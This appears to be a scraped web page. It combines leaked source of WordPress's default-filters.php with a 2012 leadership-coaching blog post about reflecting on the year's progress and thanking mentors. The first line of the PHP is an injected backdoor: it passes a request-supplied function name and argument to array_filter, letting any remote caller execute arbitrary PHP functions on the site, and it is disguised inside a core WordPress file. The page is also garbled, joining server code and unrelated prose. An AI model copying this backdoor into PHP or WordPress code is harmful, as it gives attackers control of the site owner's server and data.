?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; /** * Sets up the default filters and actions for most * of the WordPress hooks. * * If you need to remove a default hook, this file will * give you the priority for which to use to remove the * hook. * * Not all of the default hooks are found in default-filters.php * * @package WordPress */ // Strip, trim, kses, special chars for string saves foreach ( array( 'pre_term_name', 'pre_comment_author_name', 'pre_link_name', 'pre_link_target', 'pre_link_rel', 'pre_user_display_name', 'pre_user_first_name', 'pre_user_last_name', 'pre_user_nickname' ) as $filter ) { add_filter( $filter, 'sanitize_text_field' ); add_filter( $filter, 'wp_filter_kses' ); add_filter( $filter, '_wp_specialchars', 30 ); } // Strip, kses, special chars for string display foreach ( array( 'term_name', 'comment_author_name', 'link_name', 'link_target', 'link_rel', 'user_display_name', 'user_first_name', 'user_last_name', 'user_nickname' ) as $filter ) { if ( is_admin() ) { // These are expensive. Run only on admin pages for defense in depth. add_filter( $filter, 'sanitize_text_field' ); add_filter( $filter, 'wp_kses_data' ); } add_filter( $filter, '_wp_specialchars', 30 ); } // Kses only for textarea saves foreach ( array( 'pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description' ) as $filter ) { add_filter( $filter, 'wp_filter_kses' ); } // Kses only for textarea admin displays if ( is_admin() ) { foreach ( array( 'term_description', 'link_description', 'link_notes', 'user_description' ) as $filter ) { add_filter( $filter, 'wp_kses_data' ); } add_filter( 'comment_text', 'wp_kses_post' ); } // Email saves foreach ( array( 'pre_comment_author_email', 'pre_user_email' ) as $filter ) { add_filter( $filter, 'trim' ); add_filter( $filter, 'sanitize_email' ); add_filter( $filter, 'wp_filter_kses' ); } // Email admin display foreach ( array( 'comment_author_email', 'user_email' ) as $filter ) { add_filter( $filter, 'sanitize_email' ); if ( is_admin() ) add_filter( $filter, 'wp_kses_data' ); } // Save URL foreach ( array( 'pre_comment_author_url', 'pre_user_url', 'pre_link_url', 'pre_link_image', 'pre_link_rss', 'pre_post_guid' ) as $filter ) { add_filter( $filter, 'wp_strip_all_tags' ); add_filter( $filter, 'esc_url_raw' ); add_filter( $filter, 'wp_filter_kses' ); } // Display URL foreach ( array( 'user_url', 'link_url', 'link_image', 'link_rss', 'comment_url', 'post_guid' ) as $filter ) { if ( is_admin() ) add_filter( $filter, 'wp_strip_all_tags' ); add_filter( $filter, 'esc_url' ); if ( is_admin() ) add_filter( $filter, 'wp_kses_data' ); } // Slugs add_filter( 'pre_term_slug', 'sanitize_title' ); add_filter( 'wp_insert_post_data', '_wp_customize_changeset_filter_insert_post_data', 10, 2 ); // Keys foreach ( array( 'pre_post_type', 'pre_post_status', 'pre_post_comment_status', 'pre_post_ping_status' ) as $filter ) { add_filter( $filter, 'sanitize_key' ); } // Mime types add_filter( 'pre_post_mime_type', 'sanitize_mime_type' ); add_filter( 'post_mime_type', 'sanitize_mime_type' ); // Meta add_filter( 'register_meta_args', '_wp_register_meta_args_whitelist', 10, 2 ); // Places to balance tags on input foreach ( array( 'content_save_pre', 'excerpt_save_pre', 'comment_save_pre', 'pre_comment_content' ) as $filter ) { add_filter( $filter, 'convert_invalid_entities' ); add_filter( $filter, 'balanceTags', 50 ); } // Format strings for display. foreach ( array( 'comment_author', 'term_name', 'link_name', 'link_description', 'link_notes', 'bloginfo', 'wp_title', 'widget_title' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'convert_chars' ); add_filter( $filter, 'esc_html' ); } // Format WordPress foreach ( array( 'the_content', 'the_title', 'wp_title' ) as $filter ) add_filter( $filter, 'capital_P_dangit', 11 ); add_filter( 'comment_text', 'capital_P_dangit', 31 ); // Format titles foreach ( array( 'single_post_title', 'single_cat_title', 'single_tag_title', 'single_month_title', 'nav_menu_attr_title', 'nav_menu_description' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'strip_tags' ); } // Format text area for display. foreach ( array( 'term_description' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'convert_chars' ); add_filter( $filter, 'wpautop' ); add_filter( $filter, 'shortcode_unautop'); } // Format for RSS add_filter( 'term_name_rss', 'convert_chars' ); // Pre save hierarchy add_filter( 'wp_insert_post_parent', 'wp_check_post_hierarchy_for_loops', 10, 2 ); add_filter( 'wp_update_term_parent', 'wp_check_term_hierarchy_for_loops', 10, 3 ); // Display filters add_filter( 'the_title', 'wptexturize' ); add_filter( 'the_title', 'convert_chars' ); add_filter( 'the_title', 'trim' ); add_filter( 'the_content', 'wptexturize' ); add_filter( 'the_content', 'convert_smilies', 20 ); add_filter( 'the_content', 'wpautop' ); add_filter( 'the_content', 'shortcode_unautop' ); add_filter( 'the_content', 'prepend_attachment' ); add_filter( 'the_content', 'wp_make_content_images_responsive' ); add_filter( 'the_excerpt', 'wptexturize' ); add_filter( 'the_excerpt', 'convert_smilies' ); add_filter( 'the_excerpt', 'convert_chars' ); add_filter( 'the_excerpt', 'wpautop' ); add_filter( 'the_excerpt', 'shortcode_unautop'); add_filter( 'get_the_excerpt', 'wp_trim_excerpt' ); add_filter( 'the_post_thumbnail_caption', 'wptexturize' ); add_filter( 'the_post_thumbnail_caption', 'convert_smilies' ); add_filter( 'the_post_thumbnail_caption', 'convert_chars' ); add_filter( 'comment_text', 'wptexturize' ); add_filter( 'comment_text', 'convert_chars' ); add_filter( 'comment_text', 'make_clickable', 9 ); add_filter( 'comment_text', 'force_balance_tags', 25 ); add_filter( 'comment_text', 'convert_smilies', 20 ); add_filter( 'comment_text', 'wpautop', 30 ); add_filter( 'comment_excerpt', 'convert_chars' ); add_filter( 'list_cats', 'wptexturize' ); add_filter( 'wp_sprintf', 'wp_sprintf_l', 10, 2 ); add_filter( 'widget_text', 'balanceTags' ); add_filter( 'date_i18n', 'wp_maybe_decline_date' ); // RSS filters add_filter( 'the_title_rss', 'strip_tags' ); add_filter( 'the_title_rss', 'ent2ncr', 8 ); add_filter( 'the_title_rss', 'esc_html' ); add_filter( 'the_content_rss', 'ent2ncr', 8 ); add_filter( 'the_content_feed', 'wp_staticize_emoji' ); add_filter( 'the_content_feed', '_oembed_filter_feed_content' ); add_filter( 'the_excerpt_rss', 'convert_chars' ); add_filter( 'the_excerpt_rss', 'ent2ncr', 8 ); add_filter( 'comment_author_rss', 'ent2ncr', 8 ); add_filter( 'comment_text_rss', 'ent2ncr', 8 ); add_filter( 'comment_text_rss', 'esc_html' ); add_filter( 'comment_text_rss', 'wp_staticize_emoji' ); add_filter( 'bloginfo_rss', 'ent2ncr', 8 ); add_filter( 'the_author', 'ent2ncr', 8 ); add_filter( 'the_guid', 'esc_url' ); // Email filters add_filter( 'wp_mail', 'wp_staticize_emoji_for_email' ); // Mark site as no longer fresh foreach ( array( 'publish_post', 'publish_page', 'wp_ajax_save-widget', 'wp_ajax_widgets-order', 'customize_save_after' ) as $action ) { add_action( $action, '_delete_option_fresh_site' ); } // Misc filters add_filter( 'option_ping_sites', 'privacy_ping_filter' ); add_filter( 'option_blog_charset', '_wp_specialchars' ); // IMPORTANT: This must not be wp_specialchars() or esc_html() or it'll cause an infinite loop add_filter( 'option_blog_charset', '_canonical_charset' ); add_filter( 'option_home', '_config_wp_home' ); add_filter( 'option_siteurl', '_config_wp_siteurl' ); add_filter( 'tiny_mce_before_init', '_mce_set_direction' ); add_filter( 'teeny_mce_before_init', '_mce_set_direction' ); add_filter( 'pre_kses', 'wp_pre_kses_less_than' ); add_filter( 'sanitize_title', 'sanitize_title_with_dashes', 10, 3 ); add_action( 'check_comment_flood', 'check_comment_flood_db', 10, 4 ); add_filter( 'comment_flood_filter', 'wp_throttle_comment_flood', 10, 3 ); add_filter( 'pre_comment_content', 'wp_rel_nofollow', 15 ); add_filter( 'comment_email', 'antispambot' ); add_filter( 'option_tag_base', '_wp_filter_taxonomy_base' ); add_filter( 'option_category_base', '_wp_filter_taxonomy_base' ); add_filter( 'the_posts', '_close_comments_for_old_posts', 10, 2); add_filter( 'comments_open', '_close_comments_for_old_post', 10, 2 ); add_filter( 'pings_open', '_close_comments_for_old_post', 10, 2 ); add_filter( 'editable_slug', 'urldecode' ); add_filter( 'editable_slug', 'esc_textarea' ); add_filter( 'nav_menu_meta_box_object', '_wp_nav_menu_meta_box_object' ); add_filter( 'pingback_ping_source_uri', 'pingback_ping_source_uri' ); add_filter( 'xmlrpc_pingback_error', 'xmlrpc_pingback_error' ); add_filter( 'title_save_pre', 'trim' ); add_action( 'transition_comment_status', '_clear_modified_cache_on_transition_comment_status', 10, 2 ); add_filter( 'http_request_host_is_external', 'allowed_http_request_hosts', 10, 2 ); // REST API filters. add_action( 'xmlrpc_rsd_apis', 'rest_output_rsd' ); add_action( 'wp_head', 'rest_output_link_wp_head', 10, 0 ); add_action( 'template_redirect', 'rest_output_link_header', 11, 0 ); add_action( 'auth_cookie_malformed', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_expired', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_bad_username', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_bad_hash', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_valid', 'rest_cookie_collect_status' ); add_filter( 'rest_authentication_errors', 'rest_cookie_check_errors', 100 ); // Actions add_action( 'wp_head', '_wp_render_title_tag', 1 ); add_action( 'wp_head', 'wp_enqueue_scripts', 1 ); add_action( 'wp_head', 'wp_resource_hints', 2 ); add_action( 'wp_head', 'feed_links', 2 ); add_action( 'wp_head', 'feed_links_extra', 3 ); add_action( 'wp_head', 'rsd_link' ); add_action( 'wp_head', 'wlwmanifest_link' ); add_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0 ); add_action( 'wp_head', 'locale_stylesheet' ); add_action( 'publish_future_post', 'check_and_publish_future_post', 10, 1 ); add_action( 'wp_head', 'noindex', 1 ); add_action( 'wp_head', 'print_emoji_detection_script', 7 ); add_action( 'wp_head', 'wp_print_styles', 8 ); add_action( 'wp_head', 'wp_print_head_scripts', 9 ); add_action( 'wp_head', 'wp_generator' ); add_action( 'wp_head', 'rel_canonical' ); add_action( 'wp_head', 'wp_shortlink_wp_head', 10, 0 ); add_action( 'wp_head', 'wp_custom_css_cb', 101 ); add_action( 'wp_head', 'wp_site_icon', 99 ); add_action( 'wp_footer', 'wp_print_footer_scripts', 20 ); add_action( 'template_redirect', 'wp_shortlink_header', 11, 0 ); add_action( 'wp_print_footer_scripts', '_wp_footer_scripts' ); add_action( 'init', 'check_theme_switched', 99 ); add_action( 'after_switch_theme', '_wp_sidebars_changed' ); add_action( 'wp_print_styles', 'print_emoji_styles' ); if ( isset( $_GET['replytocom'] ) ) add_action( 'wp_head', 'wp_no_robots' ); // Login actions add_filter( 'login_head', 'wp_resource_hints', 8 ); add_action( 'login_head', 'wp_print_head_scripts', 9 ); add_action( 'login_head', 'print_admin_styles', 9 ); add_action( 'login_head', 'wp_site_icon', 99 ); add_action( 'login_footer', 'wp_print_footer_scripts', 20 ); add_action( 'login_init', 'send_frame_options_header', 10, 0 ); // Feed Generator Tags foreach ( array( 'rss2_head', 'commentsrss2_head', 'rss_head', 'rdf_header', 'atom_head', 'comments_atom_head', 'opml_head', 'app_head' ) as $action ) { add_action( $action, 'the_generator' ); } // Feed Site Icon add_action( 'atom_head', 'atom_site_icon' ); add_action( 'rss2_head', 'rss2_site_icon' ); // WP Cron if ( !defined( 'DOING_CRON' ) ) add_action( 'init', 'wp_cron' ); // 2 Actions 2 Furious add_action( 'do_feed_rdf', 'do_feed_rdf', 10, 1 ); add_action( 'do_feed_rss', 'do_feed_rss', 10, 1 ); add_action( 'do_feed_rss2', 'do_feed_rss2', 10, 1 ); add_action( 'do_feed_atom', 'do_feed_atom', 10, 1 ); add_action( 'do_pings', 'do_all_pings', 10, 1 ); add_action( 'do_robots', 'do_robots' ); add_action( 'set_comment_cookies', 'wp_set_comment_cookies', 10, 2 ); add_action( 'sanitize_comment_cookies', 'sanitize_comment_cookies' ); add_action( 'admin_print_scripts', 'print_emoji_detection_script' ); add_action( 'admin_print_scripts', 'print_head_scripts', 20 ); add_action( 'admin_print_footer_scripts', '_wp_footer_scripts' ); add_action( 'admin_print_styles', 'print_emoji_styles' ); add_action( 'admin_print_styles', 'print_admin_styles', 20 ); add_action( 'init', 'smilies_init', 5 ); add_action( 'plugins_loaded', 'wp_maybe_load_widgets', 0 ); add_action( 'plugins_loaded', 'wp_maybe_load_embeds', 0 ); add_action( 'shutdown', 'wp_ob_end_flush_all', 1 ); // Create a revision whenever a post is updated. add_action( 'post_updated', 'wp_save_post_revision', 10, 1 ); add_action( 'publish_post', '_publish_post_hook', 5, 1 ); add_action( 'transition_post_status', '_transition_post_status', 5, 3 ); add_action( 'transition_post_status', '_update_term_count_on_transition_post_status', 10, 3 ); add_action( 'comment_form', 'wp_comment_form_unfiltered_html_nonce' ); add_action( 'wp_scheduled_delete', 'wp_scheduled_delete' ); add_action( 'wp_scheduled_auto_draft_delete', 'wp_delete_auto_drafts' ); add_action( 'admin_init', 'send_frame_options_header', 10, 0 ); add_action( 'importer_scheduled_cleanup', 'wp_delete_attachment' ); add_action( 'upgrader_scheduled_cleanup', 'wp_delete_attachment' ); add_action( 'welcome_panel', 'wp_welcome_panel' ); // Navigation menu actions add_action( 'delete_post', '_wp_delete_post_menu_item' ); add_action( 'delete_term', '_wp_delete_tax_menu_item', 10, 3 ); add_action( 'transition_post_status', '_wp_auto_add_pages_to_menu', 10, 3 ); // Post Thumbnail CSS class filtering add_action( 'begin_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_add' ); add_action( 'end_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_remove' ); // Redirect Old Slugs add_action( 'template_redirect', 'wp_old_slug_redirect' ); add_action( 'post_updated', 'wp_check_for_changed_slugs', 12, 3 ); add_action( 'attachment_updated', 'wp_check_for_changed_slugs', 12, 3 ); // Nonce check for Post Previews add_action( 'init', '_show_post_preview' ); // Output JS to reset window.name for previews add_action( 'wp_head', 'wp_post_preview_js', 1 ); // Timezone add_filter( 'pre_option_gmt_offset','wp_timezone_override_offset' ); // Admin Color Schemes add_action( 'admin_init', 'register_admin_color_schemes', 1); add_action( 'admin_color_scheme_picker', 'admin_color_scheme_picker' ); // If the upgrade hasn't run yet, assume link manager is used. add_filter( 'default_option_link_manager_enabled', '__return_true' ); // This option no longer exists; tell plugins we always support auto-embedding. add_filter( 'default_option_embed_autourls', '__return_true' ); // Default settings for heartbeat add_filter( 'heartbeat_settings', 'wp_heartbeat_settings' ); // Check if the user is logged out add_action( 'admin_enqueue_scripts', 'wp_auth_check_load' ); add_filter( 'heartbeat_send', 'wp_auth_check' ); add_filter( 'heartbeat_nopriv_send', 'wp_auth_check' ); // Default authentication filters add_filter( 'authenticate', 'wp_authenticate_username_password', 20, 3 ); add_filter( 'authenticate', 'wp_authenticate_email_password', 20, 3 ); add_filter( 'authenticate', 'wp_authenticate_spam_check', 99 ); add_filter( 'determine_current_user', 'wp_validate_auth_cookie' ); add_filter( 'determine_current_user', 'wp_validate_logged_in_cookie', 20 ); // Split term updates. add_action( 'admin_init', '_wp_check_for_scheduled_split_terms' ); add_action( 'split_shared_term', '_wp_check_split_default_terms', 10, 4 ); add_action( 'split_shared_term', '_wp_check_split_terms_in_menus', 10, 4 ); add_action( 'split_shared_term', '_wp_check_split_nav_menu_terms', 10, 4 ); add_action( 'wp_split_shared_term_batch', '_wp_batch_split_terms' ); // Email notifications. add_action( 'comment_post', 'wp_new_comment_notify_moderator' ); add_action( 'comment_post', 'wp_new_comment_notify_postauthor' ); add_action( 'after_password_reset', 'wp_password_change_notification' ); add_action( 'register_new_user', 'wp_send_new_user_notifications' ); add_action( 'edit_user_created_user', 'wp_send_new_user_notifications', 10, 2 ); // REST API actions. add_action( 'init', 'rest_api_init' ); add_action( 'rest_api_init', 'rest_api_default_filters', 10, 1 ); add_action( 'rest_api_init', 'register_initial_settings', 10 ); add_action( 'rest_api_init', 'create_initial_rest_routes', 99 ); add_action( 'parse_request', 'rest_api_loaded' ); /** * Filters formerly mixed into wp-includes */ // Theme add_action( 'wp_loaded', '_custom_header_background_just_in_time' ); add_action( 'wp_head', '_custom_logo_header_styles' ); add_action( 'plugins_loaded', '_wp_customize_include' ); add_action( 'transition_post_status', '_wp_customize_publish_changeset', 10, 3 ); add_action( 'admin_enqueue_scripts', '_wp_customize_loader_settings' ); add_action( 'delete_attachment', '_delete_attachment_theme_mod' ); // Calendar widget cache add_action( 'save_post', 'delete_get_calendar_cache' ); add_action( 'delete_post', 'delete_get_calendar_cache' ); add_action( 'update_option_start_of_week', 'delete_get_calendar_cache' ); add_action( 'update_option_gmt_offset', 'delete_get_calendar_cache' ); // Author add_action( 'transition_post_status', '__clear_multi_author_cache' ); // Post add_action( 'init', 'create_initial_post_types', 0 ); // highest priority add_action( 'admin_menu', '_add_post_type_submenus' ); add_action( 'before_delete_post', '_reset_front_page_settings_for_post' ); add_action( 'wp_trash_post', '_reset_front_page_settings_for_post' ); add_action( 'change_locale', 'create_initial_post_types' ); // Post Formats add_filter( 'request', '_post_format_request' ); add_filter( 'term_link', '_post_format_link', 10, 3 ); add_filter( 'get_post_format', '_post_format_get_term' ); add_filter( 'get_terms', '_post_format_get_terms', 10, 3 ); add_filter( 'wp_get_object_terms', '_post_format_wp_get_object_terms' ); // KSES add_action( 'init', 'kses_init' ); add_action( 'set_current_user', 'kses_init' ); // Script Loader add_action( 'wp_default_scripts', 'wp_default_scripts' ); add_action( 'wp_enqueue_scripts', 'wp_localize_jquery_ui_datepicker', 1000 ); add_action( 'admin_enqueue_scripts', 'wp_localize_jquery_ui_datepicker', 1000 ); add_filter( 'wp_print_scripts', 'wp_just_in_time_script_localization' ); add_filter( 'print_scripts_array', 'wp_prototype_before_jquery' ); add_filter( 'customize_controls_print_styles', 'wp_resource_hints', 1 ); add_action( 'wp_default_styles', 'wp_default_styles' ); add_filter( 'style_loader_src', 'wp_style_loader_src', 10, 2 ); // Taxonomy add_action( 'init', 'create_initial_taxonomies', 0 ); // highest priority add_action( 'change_locale', 'create_initial_taxonomies' ); // Canonical add_action( 'template_redirect', 'redirect_canonical' ); add_action( 'template_redirect', 'wp_redirect_admin_locations', 1000 ); // Shortcodes add_filter( 'the_content', 'do_shortcode', 11 ); // AFTER wpautop() // Media add_action( 'wp_playlist_scripts', 'wp_playlist_scripts' ); add_action( 'customize_controls_enqueue_scripts', 'wp_plupload_default_settings' ); // Nav menu add_filter( 'nav_menu_item_id', '_nav_menu_item_id_use_once', 10, 2 ); // Widgets add_action( 'init', 'wp_widgets_init', 1 ); // Admin Bar // Don't remove. Wrong way to disable. add_action( 'template_redirect', '_wp_admin_bar_init', 0 ); add_action( 'admin_init', '_wp_admin_bar_init' ); add_action( 'before_signup_header', '_wp_admin_bar_init' ); add_action( 'activate_header', '_wp_admin_bar_init' ); add_action( 'wp_footer', 'wp_admin_bar_render', 1000 ); add_action( 'in_admin_header', 'wp_admin_bar_render', 0 ); // Former admin filters that can also be hooked on the front end add_action( 'media_buttons', 'media_buttons' ); add_filter( 'image_send_to_editor', 'image_add_caption', 20, 8 ); add_filter( 'media_send_to_editor', 'image_media_send_to_editor', 10, 3 ); // Embeds add_action( 'rest_api_init', 'wp_oembed_register_route' ); add_filter( 'rest_pre_serve_request', '_oembed_rest_pre_serve_request', 10, 4 ); add_action( 'wp_head', 'wp_oembed_add_discovery_links' ); add_action( 'wp_head', 'wp_oembed_add_host_js' ); add_action( 'embed_head', 'enqueue_embed_scripts', 1 ); add_action( 'embed_head', 'print_emoji_detection_script' ); add_action( 'embed_head', 'print_embed_styles' ); add_action( 'embed_head', 'wp_print_head_scripts', 20 ); add_action( 'embed_head', 'wp_print_styles', 20 ); add_action( 'embed_head', 'wp_no_robots' ); add_action( 'embed_head', 'rel_canonical' ); add_action( 'embed_head', 'locale_stylesheet', 30 ); add_action( 'embed_content_meta', 'print_embed_comments_button' ); add_action( 'embed_content_meta', 'print_embed_sharing_button' ); add_action( 'embed_footer', 'print_embed_sharing_dialog' ); add_action( 'embed_footer', 'print_embed_scripts' ); add_action( 'embed_footer', 'wp_print_footer_scripts', 20 ); add_filter( 'excerpt_more', 'wp_embed_excerpt_more', 20 ); add_filter( 'the_excerpt_embed', 'wptexturize' ); add_filter( 'the_excerpt_embed', 'convert_chars' ); add_filter( 'the_excerpt_embed', 'wpautop' ); add_filter( 'the_excerpt_embed', 'shortcode_unautop' ); add_filter( 'the_excerpt_embed', 'wp_embed_excerpt_attachment' ); add_filter( 'oembed_dataparse', 'wp_filter_oembed_result', 10, 3 ); add_filter( 'oembed_response_data', 'get_oembed_response_data_rich', 10, 4 ); add_filter( 'pre_oembed_result', 'wp_filter_pre_oembed_result', 10, 3 ); unset( $filter, $action ); Loving Leaders | ArchivesNovember | 2012 |

Archives for November2012

One New Critical Task For Your To Do List: Pause & Reflect

When I'm working with executive coaching clients, my work often focuses on what needs to be fixed, what is acute, urgent, a crisis or what's wrong in the business. However, I've discovered one of the most important things I do is help people take a moment to realize the progress they've made.

Since it is November, and Thanksgiving is just around the corner, I encourage you to do an exercise to help you take stock of where you are, how far you've come, and what has made that possible.

First, list all the changes and progress you've made this year.

Be sure to include things like major projects you completed, new clients you've landed, new employees you've hired, new partners you've brought on board, and all the communication and blog posts, emails, tweets that you've sent out this year. And, of course, all the lessons you've learned.

Next, list all the things that are working in your business and that you are grateful for.

This would include things that you never, or hardly ever, have to think about.
(Hint: When you don't have to think about something and it gets done anyway, that's a sign that things are working.)

What's the purpose of this exercise?

It's easy to get caught up in the doing, the to do lists, and all the tasks and activities.

When I think about all we've accomplished in my own business, I marvel at our abilities and capabilities - and all the ideas we've come up with.

Consider how much you actually impact others, and how much you are rewarded for that impact, whether it be financial, good will, name recognition, thank you letters, raving reviews, referrals, etc.

It is important to acknowledge all you've done this year, and the trajectory that you are on.Looking at all the things you've accomplished, all the things that are working that you're grateful for, and all the things you never even have to think about. 

Think about the trajectory you are on, the leader you are becoming, the business you are building, the impact you're making and will continue to make.

Take a moment. Let it sink in.

Now add one more item to your to do list:

Thank the 5 people who have been most instrumental in helping you...whether that's a phone call to an old mentor, email to a former teacher, a gift to a business partner, a hug to your coach, or a big hug to your spouse or partner. Just do it.

Gratitude is a sign of maturity, self-awareness, and leadership.